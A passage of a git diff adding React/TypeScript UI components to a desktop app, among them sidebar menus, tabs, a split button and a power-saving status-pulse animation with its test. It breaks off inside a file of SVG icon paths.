+  return (
+    <ul
+      className={cn(
+        'mx-3.5 flex min-w-0 translate-x-px flex-col gap-1 border-l border-sidebar-border px-2.5 py-0.5',
+        'group-data-[collapsible=icon]:hidden',
+        className
+      )}
+      data-sidebar="menu-sub"
+      data-slot="sidebar-menu-sub"
+      {...props}
+    />
+  )
+}
+
+function SidebarMenuSubItem({ className, ...props }: React.ComponentProps<'li'>) {
+  return (
+    <li
+      className={cn('group/menu-sub-item relative', className)}
+      data-sidebar="menu-sub-item"
+      data-slot="sidebar-menu-sub-item"
+      {...props}
+    />
+  )
+}
+
+function SidebarMenuSubButton({
+  asChild = false,
+  size = 'md',
+  isActive = false,
+  className,
+  ...props
+}: React.ComponentProps<'a'> & {
+  asChild?: boolean
+  size?: 'sm' | 'md'
+  isActive?: boolean
+}) {
+  const Comp = asChild ? Slot.Root : 'a'
+
+  return (
+    <Comp
+      className={cn(
+        'flex h-7 min-w-0 -translate-x-px items-center gap-2 overflow-hidden rounded-md px-2 text-sidebar-foreground ring-sidebar-ring outline-hidden hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 [&>span:last-child]:truncate [&>svg]:size-4 [&>svg]:shrink-0 [&>svg]:text-sidebar-accent-foreground',
+        'data-[active=true]:bg-sidebar-accent data-[active=true]:text-sidebar-accent-foreground',
+        size === 'sm' && 'text-xs',
+        size === 'md' && 'text-sm',
+        'group-data-[collapsible=icon]:hidden',
+        className
+      )}
+      data-active={isActive}
+      data-sidebar="menu-sub-button"
+      data-size={size}
+      data-slot="sidebar-menu-sub-button"
+      {...props}
+    />
+  )
+}
+
+export {
+  Sidebar,
+  SidebarContent,
+  SidebarFooter,
+  SidebarGroup,
+  SidebarGroupAction,
+  SidebarGroupContent,
+  SidebarGroupLabel,
+  SidebarHeader,
+  SidebarInput,
+  SidebarInset,
+  SidebarMenu,
+  SidebarMenuAction,
+  SidebarMenuBadge,
+  SidebarMenuButton,
+  SidebarMenuItem,
+  SidebarMenuSkeleton,
+  SidebarMenuSub,
+  SidebarMenuSubButton,
+  SidebarMenuSubItem,
+  SidebarProvider,
+  SidebarRail,
+  SidebarSeparator,
+  SidebarTrigger,
+  useSidebar
+}
diff --git a/ui-desktop/src/components/ui/skeleton.tsx b/ui-desktop/src/components/ui/skeleton.tsx
new file mode 100644
index 000000000..a4b3e1d14
--- /dev/null
+++ b/ui-desktop/src/components/ui/skeleton.tsx
@@ -0,0 +1,18 @@
+import { cn } from '@/lib/utils'
+
+function Skeleton({ className, ...props }: React.ComponentProps<'div'>) {
+  return <div className={cn('animate-pulse rounded-md bg-accent', className)} data-slot="skeleton" {...props} />
+}
+
+/** Inline pulsing chip standing in for a small count/badge while it loads. */
+function CountSkeleton({ className, ...props }: React.ComponentProps<'span'>) {
+  return (
+    <span
+      className={cn('inline-block h-2 w-3.5 translate-y-px animate-pulse rounded-sm bg-current/25', className)}
+      data-slot="count-skeleton"
+      {...props}
+    />
+  )
+}
+
+export { CountSkeleton, Skeleton }
diff --git a/ui-desktop/src/components/ui/split-button.tsx b/ui-desktop/src/components/ui/split-button.tsx
new file mode 100644
index 000000000..904796dd4
--- /dev/null
+++ b/ui-desktop/src/components/ui/split-button.tsx
@@ -0,0 +1,98 @@
+import type { VariantProps } from 'class-variance-authority'
+import type { ReactNode } from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { cn } from '@/lib/utils'
+
+import type { buttonVariants } from './button'
+import { Button } from './button'
+import { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger } from './dropdown-menu'
+
+export interface SplitButtonAction {
+  id: string
+  label: string
+  icon?: ReactNode
+}
+
+interface SplitButtonProps {
+  actions: SplitButtonAction[]
+  /** The id of the action the primary button runs (the user's current default). */
+  value: string
+  /** Picking from the menu changes the default (so the next primary click repeats it). */
+  onValueChange: (id: string) => void
+  /** Run an action by id (primary click or menu pick both call this). */
+  onTrigger: (id: string) => void
+  disabled?: boolean
+  className?: string
+  /** Icon shown on the primary button only (e.g. a ✓ for Commit). */
+  primaryIcon?: ReactNode
+  variant?: VariantProps<typeof buttonVariants>['variant']
+  size?: VariantProps<typeof buttonVariants>['size']
+}
+
+/**
+ * A primary action fused to a caret that opens alternates — VS Code's
+ * Commit / Commit & Push pattern. The primary button runs `value`; picking a
+ * menu item runs it AND makes it the new default, so the control adapts to how
+ * the user works without a separate settings toggle.
+ */
+export function SplitButton({
+  actions,
+  value,
+  onValueChange,
+  onTrigger,
+  disabled,
+  className,
+  primaryIcon,
+  variant = 'secondary',
+  size = 'sm'
+}: SplitButtonProps) {
+  const active = actions.find(action => action.id === value) ?? actions[0]
+
+  if (!active) {
+    return null
+  }
+
+  return (
+    <div className={cn('inline-flex min-w-0', className)}>
+      <Button
+        className="min-w-0 flex-1 rounded-r-none"
+        disabled={disabled}
+        onClick={() => onTrigger(active.id)}
+        size={size}
+        variant={variant}
+      >
+        {primaryIcon ?? active.icon}
+        <span className="truncate">{active.label}</span>
+      </Button>
+      <DropdownMenu>
+        <DropdownMenuTrigger asChild>
+          <Button
+            aria-label="More actions"
+            className="rounded-l-none border-l border-current/25 px-2"
+            disabled={disabled}
+            size={size}
+            variant={variant}
+          >
+            <Codicon name="chevron-down" size="0.8rem" />
+          </Button>
+        </DropdownMenuTrigger>
+        <DropdownMenuContent align="end" className="min-w-44">
+          {actions.map(action => (
+            <DropdownMenuItem
+              key={action.id}
+              onSelect={() => {
+                onValueChange(action.id)
+                onTrigger(action.id)
+              }}
+            >
+              {action.icon}
+              <span className="flex-1 truncate">{action.label}</span>
+              {action.id === value && <Codicon className="text-(--ui-text-tertiary)" name="check" size="0.75rem" />}
+            </DropdownMenuItem>
+          ))}
+        </DropdownMenuContent>
+      </DropdownMenu>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/ui/status-pulse.test.tsx b/ui-desktop/src/components/ui/status-pulse.test.tsx
new file mode 100644
index 000000000..ea51c98e0
--- /dev/null
+++ b/ui-desktop/src/components/ui/status-pulse.test.tsx
@@ -0,0 +1,131 @@
+import { act, cleanup, render } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { StatusPulse } from './status-pulse'
+
+interface PlayedAnimation {
+  cancel: ReturnType<typeof vi.fn>
+  keyframes: Keyframe[]
+  options: KeyframeAnimationOptions
+}
+
+interface WindowStatePayload {
+  isMinimized?: boolean
+  isVisible?: boolean
+}
+
+let windowStateCallback: ((payload: WindowStatePayload) => void) | undefined
+
+function installMatchMedia(matches: boolean) {
+  vi.stubGlobal(
+    'matchMedia',
+    vi.fn(() => ({
+      addEventListener: vi.fn(),
+      matches,
+      media: '(prefers-reduced-motion: reduce)',
+      onchange: null,
+      removeEventListener: vi.fn()
+    }))
+  )
+}
+
+function installWindowStateBridge() {
+  const off = vi.fn()
+
+  window.clawcodexDesktop = {
+    onWindowStateChanged: vi.fn(callback => {
+      windowStateCallback = callback
+
+      return off
+    })
+  } as unknown as typeof window.clawcodexDesktop
+
+  return off
+}
+
+describe('StatusPulse', () => {
+  const played: PlayedAnimation[] = []
+
+  beforeEach(() => {
+    vi.useFakeTimers()
+    vi.spyOn(window.document, 'hasFocus').mockReturnValue(true)
+    installMatchMedia(false)
+    installWindowStateBridge()
+    Object.defineProperty(HTMLElement.prototype, 'animate', {
+      configurable: true,
+      value: (keyframes: Keyframe[], options: KeyframeAnimationOptions) => {
+        const animation = {
+          cancel: vi.fn(),
+          keyframes,
+          options
+        }
+
+        played.push(animation)
+
+        return animation as unknown as Animation
+      },
+      writable: true
+    })
+  })
+
+  afterEach(() => {
+    cleanup()
+    played.length = 0
+    windowStateCallback = undefined
+    Reflect.deleteProperty(HTMLElement.prototype, 'animate')
+    delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+    vi.useRealTimers()
+    vi.unstubAllGlobals()
+    vi.restoreAllMocks()
+  })
+
+  it('plays a finite ping and sleeps between pulses', () => {
+    render(<StatusPulse kind="ping" opacity={0.7} />)
+
+    expect(played).toHaveLength(1)
+    expect(played[0]?.keyframes).toEqual([
+      { opacity: 0.7, transform: 'scale(1)' },
+      { opacity: 0, transform: 'scale(2)' }
+    ])
+    expect(played[0]?.options).toMatchObject({ duration: 400, iterations: 1 })
+    expect(vi.getTimerCount()).toBe(1)
+
+    act(() => vi.advanceTimersByTime(4_999))
+    expect(played).toHaveLength(1)
+
+    act(() => vi.advanceTimersByTime(1))
+    expect(played).toHaveLength(2)
+  })
+
+  it('cancels scheduled work while minimized and restarts once visible', () => {
+    const offWindowState = installWindowStateBridge()
+    const mounted = render(<StatusPulse kind="opacity" />)
+
+    expect(played).toHaveLength(1)
+
+    act(() => windowStateCallback?.({ isMinimized: true, isVisible: false }))
+
+    expect(played[0]?.cancel).toHaveBeenCalledTimes(1)
+    expect(vi.getTimerCount()).toBe(0)
+
+    act(() => vi.advanceTimersByTime(5_000))
+    expect(played).toHaveLength(1)
+
+    act(() => windowStateCallback?.({ isMinimized: false, isVisible: true }))
+    expect(played).toHaveLength(2)
+
+    mounted.unmount()
+    expect(played[1]?.cancel).toHaveBeenCalledTimes(1)
+    expect(offWindowState).toHaveBeenCalledTimes(1)
+    expect(vi.getTimerCount()).toBe(0)
+  })
+
+  it('stays static when reduced motion is requested', () => {
+    installMatchMedia(true)
+
+    render(<StatusPulse kind="opacity" />)
+
+    expect(played).toHaveLength(0)
+    expect(vi.getTimerCount()).toBe(0)
+  })
+})
diff --git a/ui-desktop/src/components/ui/status-pulse.tsx b/ui-desktop/src/components/ui/status-pulse.tsx
new file mode 100644
index 000000000..e16226356
--- /dev/null
+++ b/ui-desktop/src/components/ui/status-pulse.tsx
@@ -0,0 +1,142 @@
+import { type ComponentProps, useEffect, useRef } from 'react'
+
+import { createRendererLoopPauseController } from '@/lib/renderer-loop-pause'
+
+const PULSE_DURATION_MS = 400
+const PULSE_PERIOD_MS = 5_000
+
+// One pause controller + one period timer shared by every StatusPulse
+// instance. A sidebar can show dozens of pulsing dots at once; per-instance
+// controllers would mean N×(document/window/bridge) listeners and N
+// unsynchronized 5s wakes. Ref-counted: the controller and timer exist only
+// while at least one pulse is mounted, and all pulses play in one aligned
+// wake so the renderer sleeps between beats.
+type PulseSubscriber = { play: () => void; cancel: () => void }
+
+const pulseSubscribers = new Set<PulseSubscriber>()
+let sharedPauseController: ReturnType<typeof createRendererLoopPauseController> | null = null
+let sharedTimer = 0
+
+const stopSharedTimer = () => {
+  if (sharedTimer !== 0) {
+    window.clearTimeout(sharedTimer)
+    sharedTimer = 0
+  }
+}
+
+const beat = () => {
+  sharedTimer = 0
+
+  if (sharedPauseController?.isPaused() || pulseSubscribers.size === 0) {
+    return
+  }
+
+  for (const subscriber of pulseSubscribers) {
+    subscriber.play()
+  }
+
+  sharedTimer = window.setTimeout(beat, PULSE_PERIOD_MS)
+}
+
+const handleSharedPauseChange = () => {
+  stopSharedTimer()
+
+  if (sharedPauseController?.isPaused()) {
+    // Minimized/hidden: cancel in-flight animations so the compositor can
+    // sleep immediately instead of finishing a pulse nobody sees.
+    for (const subscriber of pulseSubscribers) {
+      subscriber.cancel()
+    }
+
+    return
+  }
+
+  beat()
+}
+
+const subscribePulse = (subscriber: PulseSubscriber): (() => void) => {
+  pulseSubscribers.add(subscriber)
+
+  if (!sharedPauseController) {
+    sharedPauseController = createRendererLoopPauseController(handleSharedPauseChange)
+  }
+
+  // First subscriber (or a new one joining mid-sleep): play immediately and
+  // start the beat. Later joiners just wait for the next aligned beat.
+  if (sharedTimer === 0 && !sharedPauseController.isPaused()) {
+    subscriber.play()
+    sharedTimer = window.setTimeout(beat, PULSE_PERIOD_MS)
+  }
+
+  return () => {
+    pulseSubscribers.delete(subscriber)
+
+    if (pulseSubscribers.size === 0) {
+      stopSharedTimer()
+      sharedPauseController?.dispose()
+      sharedPauseController = null
+    }
+  }
+}
+
+export interface StatusPulseProps extends Omit<ComponentProps<'span'>, 'children' | 'ref'> {
+  kind: 'opacity' | 'ping'
+  opacity?: number
+}
+
+/**
+ * A finite status pulse with a real sleep between plays.
+ *
+ * Continuous CSS animations keep Chromium producing frames and recalculating
+ * styles for an otherwise motionless Desktop window. Drive the same visual
+ * cue directly so React stays out of the loop and the renderer/compositor can
+ * sleep between pulses.
+ */
+export function StatusPulse({ kind, opacity = 1, ...props }: StatusPulseProps) {
+  const ref = useRef<HTMLSpanElement>(null)
+
+  useEffect(() => {
+    const element = ref.current
+
+    if (
+      !element ||
+      typeof element.animate !== 'function' ||
+      window.matchMedia?.('(prefers-reduced-motion: reduce)').matches
+    ) {
+      return
+    }
+
+    let animation: Animation | null = null
+
+    const play = () => {
+      animation?.cancel()
+      animation = element.animate(
+        kind === 'ping'
+          ? [
+              { opacity, transform: 'scale(1)' },
+              { opacity: 0, transform: 'scale(2)' }
+            ]
+          : [{ opacity: 1 }, { opacity: 0.5 }, { opacity: 1 }],
+        {
+          duration: PULSE_DURATION_MS,
+          easing: kind === 'ping' ? 'cubic-bezier(0, 0, 0.2, 1)' : 'ease-in-out',
+          iterations: 1
+        }
+      )
+    }
+
+    const cancel = () => {
+      animation?.cancel()
+      animation = null
+    }
+
+    const unsubscribe = subscribePulse({ play, cancel })
+
+    return () => {
+      unsubscribe()
+      cancel()
+    }
+  }, [kind, opacity])
+
+  return <span {...props} ref={ref} />
+}
diff --git a/ui-desktop/src/components/ui/switch.tsx b/ui-desktop/src/components/ui/switch.tsx
new file mode 100644
index 000000000..2b6b72cad
--- /dev/null
+++ b/ui-desktop/src/components/ui/switch.tsx
@@ -0,0 +1,49 @@
+import { cva, type VariantProps } from 'class-variance-authority'
+import { Switch as SwitchPrimitive } from 'radix-ui'
+import * as React from 'react'
+
+import { cn } from '@/lib/utils'
+
+const switchVariants = cva(
+  'peer inline-flex shrink-0 items-center rounded-full border border-[color-mix(in_srgb,var(--dt-foreground)_18%,transparent)] bg-[color-mix(in_srgb,var(--dt-background)_58%,var(--dt-input))] shadow-[inset_0_0_0_0.0625rem_color-mix(in_srgb,var(--dt-foreground)_8%,transparent)] transition-colors outline-none focus-visible:border-ring focus-visible:ring-[0.1875rem] focus-visible:ring-ring/50 disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:border-transparent data-[state=checked]:bg-primary',
+  {
+    variants: {
+      size: {
+        default: 'h-5 w-9',
+        xs: 'h-4 w-7'
+      }
+    },
+    defaultVariants: {
+      size: 'default'
+    }
+  }
+)
+
+const switchThumbVariants = cva(
+  'pointer-events-none block rounded-full bg-foreground shadow-[0_0.0625rem_0.1875rem_color-mix(in_srgb,var(--dt-background)_50%,transparent)] ring-0 transition-transform data-[state=unchecked]:translate-x-0 data-[state=checked]:bg-background',
+  {
+    variants: {
+      size: {
+        default: 'size-4 data-[state=checked]:translate-x-4',
+        xs: 'size-3 data-[state=checked]:translate-x-3.5'
+      }
+    },
+    defaultVariants: {
+      size: 'default'
+    }
+  }
+)
+
+function Switch({
+  className,
+  size,
+  ...props
+}: React.ComponentProps<typeof SwitchPrimitive.Root> & VariantProps<typeof switchVariants>) {
+  return (
+    <SwitchPrimitive.Root className={cn(switchVariants({ size }), className)} data-slot="switch" {...props}>
+      <SwitchPrimitive.Thumb className={switchThumbVariants({ size })} data-slot="switch-thumb" />
+    </SwitchPrimitive.Root>
+  )
+}
+
+export { Switch }
diff --git a/ui-desktop/src/components/ui/tab-dropdown.tsx b/ui-desktop/src/components/ui/tab-dropdown.tsx
new file mode 100644
index 000000000..5e2070100
--- /dev/null
+++ b/ui-desktop/src/components/ui/tab-dropdown.tsx
@@ -0,0 +1,137 @@
+import { Fragment } from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger
+} from '@/components/ui/dropdown-menu'
+import { CountSkeleton } from '@/components/ui/skeleton'
+import { TextTab, TextTabMeta } from '@/components/ui/text-tab'
+import { compactNumber } from '@/lib/format'
+import type { IconComponent } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+// A count badge beside a tab label. `null` = still loading (pulsing chip, not a
+// fake 0); numbers render compact; strings pass through; `undefined` = no badge.
+export type TabMeta = number | string | null | undefined
+
+export function tabMetaContent(meta: number | string | null) {
+  return meta === null ? <CountSkeleton /> : typeof meta === 'number' ? compactNumber(meta) : meta
+}
+
+export interface TabDropdownItem {
+  active: boolean
+  id: string
+  icon?: IconComponent
+  /** Indent as a sub-item (flattened nested nav). */
+  indent?: boolean
+  label: string
+  meta?: number | string | null
+  onSelect: () => void
+  /** Draw a separator above this item (group break). */
+  separatorBefore?: boolean
+}
+
+function TabDropdownIcon({ icon: Icon, indent }: { icon: IconComponent; indent?: boolean }) {
+  return <Icon className={cn('shrink-0 text-muted-foreground/80', indent ? 'size-3.5' : 'size-4')} />
+}
+
+/** The Capabilities tab dropdown: a borderless "Label ⌄" trigger and a menu of
+ *  labels with right-aligned meta. The single narrow-width collapse used by
+ *  every responsive tab/nav in the app. */
+export function TabDropdown({
+  align = 'center',
+  className,
+  items
+}: {
+  align?: 'center' | 'end' | 'start'
+  className?: string
+  items: TabDropdownItem[]
+}) {
+  const active = items.find(item => item.active) ?? items[0]
+
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <button
+          className="flex h-7 cursor-pointer items-center gap-1.5 px-1 text-[length:var(--conversation-caption-font-size)] font-medium text-foreground [-webkit-app-region:no-drag]"
+          type="button"
+        >
+          {active?.icon && <TabDropdownIcon icon={active.icon} indent={active.indent} />}
+          <span className="min-w-0 truncate">{active?.label}</span>
+          {active?.meta !== undefined && <TextTabMeta>{tabMetaContent(active.meta)}</TextTabMeta>}
+          <Codicon className="text-muted-foreground" name="chevron-down" size="0.75rem" />
+        </button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align={align} className={cn('w-44', className)} sideOffset={6}>
+        {items.map((item, index) => (
+          <Fragment key={item.id}>
+            {item.separatorBefore && index > 0 && <DropdownMenuSeparator />}
+            <DropdownMenuItem
+              className={cn(item.indent && 'pl-6', item.active && 'text-foreground')}
+              onSelect={item.onSelect}
+            >
+              {item.icon && <TabDropdownIcon icon={item.icon} indent={item.indent} />}
+              <span className="min-w-0 flex-1 truncate">{item.label}</span>
+              {item.meta !== undefined && (
+                <span className="text-xs text-muted-foreground">{tabMetaContent(item.meta)}</span>
+              )}
+            </DropdownMenuItem>
+          </Fragment>
+        ))}
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
+
+export interface ResponsiveTab {
+  id: string
+  label: string
+  meta?: number | string | null
+}
+
+/** Centered/left `TextTab` row on wide viewports that collapses into a single
+ *  `TabDropdown` once the header can't fit it — the shared behavior behind the
+ *  Capabilities page tabs, log-source switches, etc. */
+export function ResponsiveTabs({
+  align = 'center',
+  onChange,
+  tabs,
+  value,
+  wideClassName
+}: {
+  align?: 'center' | 'end' | 'start'
+  onChange: (id: string) => void
+  tabs: ResponsiveTab[]
+  value: string
+  /** Extra classes for the wide `TextTab` row (e.g. `justify-center`). */
+  wideClassName?: string
+}) {
+  return (
+    <>
+      <div className={cn('hidden min-w-0 flex-wrap items-center gap-x-2 gap-y-1 md:flex', wideClassName)}>
+        {tabs.map(tab => (
+          <TextTab active={tab.id === value} key={tab.id} onClick={() => onChange(tab.id)}>
+            {tab.label}
+            {tab.meta !== undefined && <TextTabMeta>{tabMetaContent(tab.meta)}</TextTabMeta>}
+          </TextTab>
+        ))}
+      </div>
+      <div className="md:hidden">
+        <TabDropdown
+          align={align}
+          items={tabs.map(tab => ({
+            active: tab.id === value,
+            id: tab.id,
+            label: tab.label,
+            meta: tab.meta,
+            onSelect: () => onChange(tab.id)
+          }))}
+        />
+      </div>
+    </>
+  )
+}
diff --git a/ui-desktop/src/components/ui/tabs.tsx b/ui-desktop/src/components/ui/tabs.tsx
new file mode 100644
index 000000000..ff6924b78
--- /dev/null
+++ b/ui-desktop/src/components/ui/tabs.tsx
@@ -0,0 +1,36 @@
+import { Tabs as TabsPrimitive } from 'radix-ui'
+import * as React from 'react'
+
+import { cn } from '@/lib/utils'
+
+function Tabs({ className, ...props }: React.ComponentProps<typeof TabsPrimitive.Root>) {
+  return <TabsPrimitive.Root className={cn('flex flex-col gap-2', className)} data-slot="tabs" {...props} />
+}
+
+function TabsList({ className, ...props }: React.ComponentProps<typeof TabsPrimitive.List>) {
+  return (
+    <TabsPrimitive.List
+      className={cn(
+        'inline-flex h-9 items-center justify-center rounded-lg bg-muted p-1 text-muted-foreground',
+        className
+      )}
+      data-slot="tabs-list"
+      {...props}
+    />
+  )
+}
+
+function TabsTrigger({ className, ...props }: React.ComponentProps<typeof TabsPrimitive.Trigger>) {
+  return (
+    <TabsPrimitive.Trigger
+      className={cn(
+        'inline-flex h-7 items-center justify-center gap-1.5 rounded-md px-3 text-sm font-medium whitespace-nowrap transition-all outline-none focus-visible:ring-[0.1875rem] focus-visible:ring-ring/35 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow-xs [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0',
+        className
+      )}
+      data-slot="tabs-trigger"
+      {...props}
+    />
+  )
+}
+
+export { Tabs, TabsList, TabsTrigger }
diff --git a/ui-desktop/src/components/ui/text-tab.tsx b/ui-desktop/src/components/ui/text-tab.tsx
new file mode 100644
index 000000000..4e8596688
--- /dev/null
+++ b/ui-desktop/src/components/ui/text-tab.tsx
@@ -0,0 +1,43 @@
+import * as React from 'react'
+
+import { cn } from '@/lib/utils'
+
+function TextTabMeta({ className, ...props }: React.ComponentProps<'span'>) {
+  return <span className={cn('text-[0.72em] font-normal text-(--ui-text-tertiary)', className)} {...props} />
+}
+
+interface TextTabProps extends React.ComponentProps<'button'> {
+  active?: boolean
+}
+
+function TextTab({ active = false, children, className, type = 'button', ...props }: TextTabProps) {
+  return (
+    <button
+      className={cn(
+        'group/text-tab inline-flex h-7 items-center gap-1 bg-transparent px-1 text-[length:var(--conversation-caption-font-size)] font-medium text-(--ui-text-tertiary) transition-colors hover:bg-transparent hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sidebar-ring disabled:pointer-events-none disabled:opacity-50',
+        active && 'text-foreground',
+        className
+      )}
+      data-active={active}
+      type={type}
+      {...props}
+    >
+      {React.Children.map(children, child =>
+        React.isValidElement(child) && child.type === TextTabMeta ? (
+          child
+        ) : (
+          <span
+            className={cn(
+              'underline-offset-4 decoration-current/25',
+              active ? 'underline' : 'group-hover/text-tab:underline'
+            )}
+          >
+            {child}
+          </span>
+        )
+      )}
+    </button>
+  )
+}
+
+export { TextTab, TextTabMeta }
diff --git a/ui-desktop/src/components/ui/textarea.tsx b/ui-desktop/src/components/ui/textarea.tsx
new file mode 100644
index 000000000..432d91d05
--- /dev/null
+++ b/ui-desktop/src/components/ui/textarea.tsx
@@ -0,0 +1,23 @@
+import * as React from 'react'
+
+import { cn } from '@/lib/utils'
+
+import { type ControlVariantProps, controlVariants } from './control'
+
+function Textarea({ className, size, ...props }: React.ComponentProps<'textarea'> & ControlVariantProps) {
+  return (
+    <textarea
+      // Off by default for every consumer — these are code/config/prompt fields,
+      // not prose. Callers can re-enable per-instance by passing the prop.
+      autoCapitalize="off"
+      autoComplete="off"
+      autoCorrect="off"
+      className={cn(controlVariants({ size }), 'min-h-16', className)}
+      data-slot="textarea"
+      spellCheck={false}
+      {...props}
+    />
+  )
+}
+
+export { Textarea }
diff --git a/ui-desktop/src/components/ui/title-menu-trigger.tsx b/ui-desktop/src/components/ui/title-menu-trigger.tsx
new file mode 100644
index 000000000..9705b9b61
--- /dev/null
+++ b/ui-desktop/src/components/ui/title-menu-trigger.tsx
@@ -0,0 +1,33 @@
+import type * as React from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { cn } from '@/lib/utils'
+
+/**
+ * Compact "Label ▾" chrome trigger. Domain-agnostic — drop in as the child of
+ * `DropdownMenuTrigger asChild` (or any asChild menu trigger). Sessions,
+ * projects, filters, etc. own their menus; this only owns the trigger look.
+ */
+export function TitleMenuTrigger({
+  children,
+  className,
+  ...props
+}: Omit<React.ComponentProps<typeof Button>, 'children' | 'size' | 'variant'> & {
+  children: React.ReactNode
+}) {
+  return (
+    <Button
+      className={cn(
+        'pointer-events-auto flex h-6 min-w-0 max-w-full gap-1 overflow-hidden border border-transparent bg-transparent px-2 py-0 text-(--ui-text-secondary) hover:border-(--ui-stroke-tertiary) hover:bg-(--ui-control-hover-background) hover:text-foreground data-[state=open]:border-(--ui-stroke-tertiary) data-[state=open]:bg-(--ui-control-active-background) [-webkit-app-region:no-drag]',
+        className
+      )}
+      type="button"
+      variant="ghost"
+      {...props}
+    >
+      <span className="min-w-0 flex-1 truncate text-[0.75rem] font-medium leading-none">{children}</span>
+      <Codicon className="shrink-0 text-(--ui-text-tertiary)" name="chevron-down" size="0.8125rem" />
+    </Button>
+  )
+}
diff --git a/ui-desktop/src/components/ui/tool-icon.tsx b/ui-desktop/src/components/ui/tool-icon.tsx
new file mode 100644
index 000000000..104ba6cc3
--- /dev/null
+++ b/ui-desktop/src/components/ui/tool-icon.tsx
@@ -0,0 +1,67 @@
+import type * as React from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { cn } from '@/lib/utils'
+
+// Solid (filled) glyphs for in-thread tool rows. Codicons are an outline icon
+// *font*, so an outline glyph has no separate fillable region — a filled look
+// can't be derived from it (stroke-thickening just bolds the outline). To get
+// the Cursor-style filled tool icons we render dedicated solid SVG paths,
+// keyed by the same names used in `TOOL_META` (tool-fallback-model.ts).
+//
+// Paths are Phosphor Icons (MIT) "fill" weight, 256×256 viewBox. Inlining the
+// path data mirrors the existing precedent in `directive-text.tsx`.
+const TOOL_ICON_PATHS: Record<string, string> = {
+  brain:
+    'M248,124a56.11,56.11,0,0,0-32-50.61V72a48,48,0,0,0-88-26.49A48,48,0,0,0,40,72v1.39a56,56,0,0,0,0,101.22V176a48,48,0,0,0,88,26.49A48,48,0,0,0,216,176v-1.39A56.09,56.09,0,0,0,248,124ZM88,208a32,32,0,0,1-31.81-28.56A55.87,55.87,0,0,0,64,180h8a8,8,0,0,0,0-16H64A40,40,0,0,1,51.2,86.1a8,8,0,0,0,5.6-6.83A32,32,0,0,1,120,72v75.36A47.79,47.79,0,0,0,88,136a8,8,0,0,0,0,16,32,32,0,0,1,32,32A24,24,0,0,1,88,208Zm104-44h-8a8,8,0,0,0,0,16h8a55.87,55.87,0,0,0,7.81-.56A32,32,0,1,1,136,184a32,32,0,0,1,32-32,8,8,0,0,0,0-16,47.79,47.79,0,0,0-32,11.36V72a32,32,0,0,1,63.2-7.27,8,8,0,0,0,5.6,6.83A40,40,0,0,1,192,164Z',
+  diff: 'M118.18,213.08c-.11.14-.24.27-.36.4l-.16.18-.17.15a4.83,4.83,0,0,1-.42.37,3.92,3.92,0,0,1-.32.25l-.3.22-.38.23a2.91,2.91,0,0,1-.3.17l-.37.19-.34.15-.36.13a2.84,2.84,0,0,1-.38.13l-.36.1c-.14,0-.26.07-.4.09l-.42.07-.35.05a7,7,0,0,1-.79,0H64a8,8,0,0,1,0-16H92.69L55,162.34a23.85,23.85,0,0,1-7-17V95a32,32,0,1,1,16,0v50.38A8,8,0,0,0,66.34,151L104,188.69V160a8,8,0,0,1,16,0v48a7,7,0,0,1,0,.8c0,.11,0,.21,0,.32s0,.3-.07.46a2.83,2.83,0,0,1-.09.37c0,.13-.06.26-.1.39s-.08.23-.12.35l-.14.39-.15.31c-.06.13-.12.27-.19.4s-.11.18-.16.28l-.24.39-.21.28ZM208,161V110.63a23.85,23.85,0,0,0-7-17L163.31,56H192a8,8,0,0,0,0-16H143.82l-.6,0c-.14,0-.28,0-.41.06l-.37,0-.43.11-.33.08-.4.14-.34.13-.35.16-.36.18a3.14,3.14,0,0,0-.31.18c-.12.07-.25.14-.36.22a3.55,3.55,0,0,0-.31.23,3.81,3.81,0,0,0-.32.24c-.15.12-.28.24-.42.37l-.17.15-.16.18c-.12.13-.25.26-.36.4l-.26.35-.21.28-.24.39c-.05.1-.11.19-.16.28s-.13.27-.19.4l-.15.31-.14.39c0,.12-.09.23-.12.35s-.07.26-.1.39a2.83,2.83,0,0,0-.09.37c0,.16,0,.31-.07.46s0,.21-.05.32a7,7,0,0,0,0,.8V96a8,8,0,0,0,16,0V67.31L189.66,105a8,8,0,0,1,2.34,5.66V161a32,32,0,1,0,16,0Z',
+  edit: 'M227.31,73.37,182.63,28.68a16,16,0,0,0-22.63,0L36.69,152A15.86,15.86,0,0,0,32,163.31V208a16,16,0,0,0,16,16H92.69A15.86,15.86,0,0,0,104,219.31L227.31,96a16,16,0,0,0,0-22.63ZM192,108.68,147.31,64l24-24L216,84.68Z',
+  eye: 'M247.31,124.76c-.35-.79-8.82-19.58-27.65-38.41C194.57,61.26,162.88,48,128,48S61.43,61.26,36.34,86.35C17.51,105.18,9,124,8.69,124.76a8,8,0,0,0,0,6.5c.35.79,8.82,19.57,27.65,38.4C61.43,194.74,93.12,208,128,208s66.57-13.26,91.66-38.34c18.83-18.83,27.3-37.61,27.65-38.4A8,8,0,0,0,247.31,124.76ZM128,168a40,40,0,1,1,40-40A40,40,0,0,1,128,168Z',
+  file: 'M213.66,82.34l-56-56A8,8,0,0,0,152,24H56A16,16,0,0,0,40,40V216a16,16,0,0,0,16,16H200a16,16,0,0,0,16-16V88A8,8,0,0,0,213.66,82.34ZM152,88V44l44,44Z',
+  'file-media':
